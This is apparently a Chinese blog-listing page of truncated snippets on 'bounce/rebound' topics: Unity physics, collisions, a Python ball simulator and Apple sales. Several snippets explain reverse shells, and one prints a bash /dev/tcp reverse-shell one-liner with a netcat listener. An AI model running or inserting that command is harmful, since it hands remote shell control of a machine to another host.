Dynamic Friction滑动摩擦力Static Friction静摩擦力Bouncyness 表面弹性滑动摩擦因子或静摩擦银子的取值范围在0-1之间,当为0时,对象拥有冰的效果,摩擦时流畅感很强。一般来说可以设置为0.4即可。弹性因子的取值范围为0-1,当取值为0时,材质作用物体将不再拥有弹性,当被碰撞时不会有任何反弹 ,而是直接凹陷,能量被完全耗损,当取值为1时,材质作用的物体就像钢珠一
一:演示视频二:代码实现using UnityEngine;public class Player : MonoBehaviour{ private void Update() { transform.Translate(transform.forward * Time.deltaTime * 30, Space.World); } private void OnCollisionEnter(Collision other) {
原创 2021-07-08 15:45:03
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一:演示视频二:代码实现using UnityEngine;public class Player : MonoBehaviour{ private void Update() { transform.Translate(transform.forward * Time.deltaTime * 30, Space.World); } private void OnCollisionEnter(Collision other) {
原创 2022-01-25 11:44:09
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一、声明只实现物理反弹的效果,不实现蹦床会有的视觉拉伸效果,请自行找相关代码二、实现经过我的实践,我发现要想实现一个平台反弹的效果,要么就选择给player添加一个物理材质(平台加了没用),但是这样会造成一个问题,如果我们要弄一个3d控制器的游戏,那么没理由让玩家什么情况下都要弹起来吧。2.1 老手操作 我们可以给玩家移动代码中添加如下的代码 :注意:应避免使用contacts[0],因为它会产生
坐标旋转可能看名字很复杂,其实就是转化为我们物理学上的一些坐标系分析的一个方法,只不过在最后运动的时候我们还得将我们坐标旋转得到的东西重新转化为显示屏上面的标准坐标系上的运动来完成一些列操作。至于台球物理当然一个轴上的并不复杂,两个轴上同样也得用到坐标旋转所以放在一起讲解。上一次总结了碰撞,反角今天总结的和碰撞有很深的关联因此一并总结一下,以备以后的套用提供方便。0、碰撞处理与坐标旋转上一次我们只
 本篇实现一个球体在固定区域移动撞击Cube的游戏。 首先有1个Plane当作地面,1个Sphere当作球体,4个Cube当作墙,12个Cube当作被撞击物体,另外还有球体的撞击计算,在撞击的过程适时显示撞击的球体数,12个Cube被撞击后提示游戏结束。 创建项目,创建背景和球 创建一个项目,名称为"MyRollBall",选择项目所在文件,选择"3D"项,
(2d与3d的Collider可以相互存在,但是无法相互协作,如2d是无法检测3d的,反之,一样) 在目前掌握的情况分析,在Unity中参与碰撞的物体分2大块:1.发起碰撞的物体。2.接收碰撞的物体。1. 发起碰撞物体有:Rigodbody , CharacterController .2. 接收碰撞物体由:所有的Collider .工作的原理为:发生碰撞的物体中必须要有“发起碰撞”的物
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1.刚体 刚体是要给非常重要的组件。新的创建的物体默认是没有物理效果的。比如缺少:物体的重力、摩檫力、碰撞等等。1.1.给物体添加刚体Physics->Rigibody字段描述Mass质量 值越大下落速度越快Drog阻力 值越大,减速越快Angular Drag角速度 值越大 旋转减速越快Use Gravity是否使用重力Is Kinematic是否受重力影响Interpolate设置图像差
Unity音频资源属性官网属性解释 官网官网地址:https://docs.unity3d.com/Manual/class-AudioClip.html属性解释Force To Mono:将多声道音频混合为单声道。(强制设置单声道)Load In Background:在独立线程加载音频剪辑。Ambisonic:是否环绕声。Load Type:加载类型Decompress On Load:在音
 今天下午碰到个问题纠结了很久:人物加上了Rigidbody并使用了重力,遇到悬崖居然不掉下,如履平地地走了过去。想了很久又请教了别人,花了很长时间才发现,CharacterController与Rigidbody两个组件有冲突。Unity圣典中的说法是: 角色控制器允许你在受制于碰撞的情况下很容易的进行运动,而不用处理刚体。(个人理解:用CharacterController
屏幕空间反射(Screen Space Reflection):用途蛮广的,诸如水面的倒影、光滑地面的反射、大厦玻璃的反射,写好了的话对于画面表现上来说属于锦上添花的效果。 先来看看实现的效果: 如其名字——屏幕空间,使用了类似于后处理的手法,用渲染好的RenderTexture作为反射源输入,所以没被渲染进RenderTexture的场景信息没有办法得到正确的反射效果。如上图所示,天花板没办法反
在上一篇博文中,我们谈到了向量以及向量的运算,不过我们还留下了两个向量的运算没有讲解,那就是点乘,叉乘和数乘。向量的乘法在开发过程中使用的频繁程度就不多说了,我们直接来看。向量数乘 标量可以与向量相乘,可以直观联想到,该运算可以对向量进行缩放。该运算不改变向量的方向,除非标量是负数,这样向量的方向与原来的方向相反。k * u = (k * ux, k * uy, k * uz)在Unity引擎中
# 在Docker内反弹Shell解决方案 ## 问题描述 在某些情况下,我们可能需要在Docker容器内部执行一些操作,但是由于Docker容器本身的隔离性,我们无法直接访问主机或其他网络资源。此时,我们可以通过反弹Shell的方式来实现在Docker容器内部执行命令并与外部进行通信。 ## 反弹Shell的原理 反弹Shell是一种利用网络连接在两个计算机之间建立一个交互式shell的
原创 2月前
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# 项目方案:Python小球碰撞模拟器 ## 项目简介 在这个项目中,我们将使用Python编写一个小球碰撞模拟器。这个模拟器可以模拟小球在一个有边缘的区域内进行碰撞后的反弹运动。通过这个项目,我们可以加深对Python面向对象编程的理解,并学习如何使用Python来模拟物体的运动。 ## 项目实现 ### 类图 ```mermaid classDiagram class Ball
原创 4月前
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简介:shell类似于DOS下的COMMAND.COM和后来的cmd.exe,它接收用户命令,然后调用相应的应用程序,也可以通俗的说是命令执行环境。分为交互式shell,与非交互式shell。交互shell就是shell等待你的输入,并且立即执行你提交的命令,这种模式被称作交互式是因为shell与用户进行交互。非交互shell不会与用户进行交互,而是用户读取存放在文件中的命令或者输入的命令,并且执
# 利用netcat反弹shellNetcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或工具。 使用它你可以轻易的建立任何连接。目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了
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这两天一直在做一个漫游的东西,漫游的代码,网上各种各样,都有,但是在漫游的过程中出现一个问题,那就是碰到墙壁之后会穿墙,或者是会反弹,摄像机一直在抖动,这样看起来很不爽,漫游的程序就不多少了,有好多,我这用了两种:  1.采用滑动的偏移量来控制移动,这包括三种,      第一一种是鼠标的Input.GetMouseButtonDown(0)和Input.G
原创 2016-01-22 10:13:45
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shell的概念简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。
前言  Linux下,一条bash命令就可以反弹出shell。之前不求甚解的复现,突然有了一个疑问,为什么这样就能实现shell反弹?又重新学习了一下bash,这是一篇关于bash反弹原理的介绍。  反弹shell命令如下  受害者:bash -i >& /dev/tcp/ip/port 0>&1  攻击者nc -lvp port反弹 shell 的本质  接下来依次解
2019年2月11日消息 众所周知,2019年初,苹果在全球范围内遭遇滑铁卢,iPhone销量不振,股价下跌,一向高傲的苹果面对这样的困境,也不得不低下头颅。除去产品本身因素,大众化的产品始终绕不开的一个话题就是价格,把之前苹果的折戟归咎于错误的价格战略一点也不为过。销量从下滑到反弹的过程也足以说明这个问题。在苹果意识到高价带来的损失时,降价带来的销量上涨显然让苹果意识到了问题的所在。根据腾讯科技
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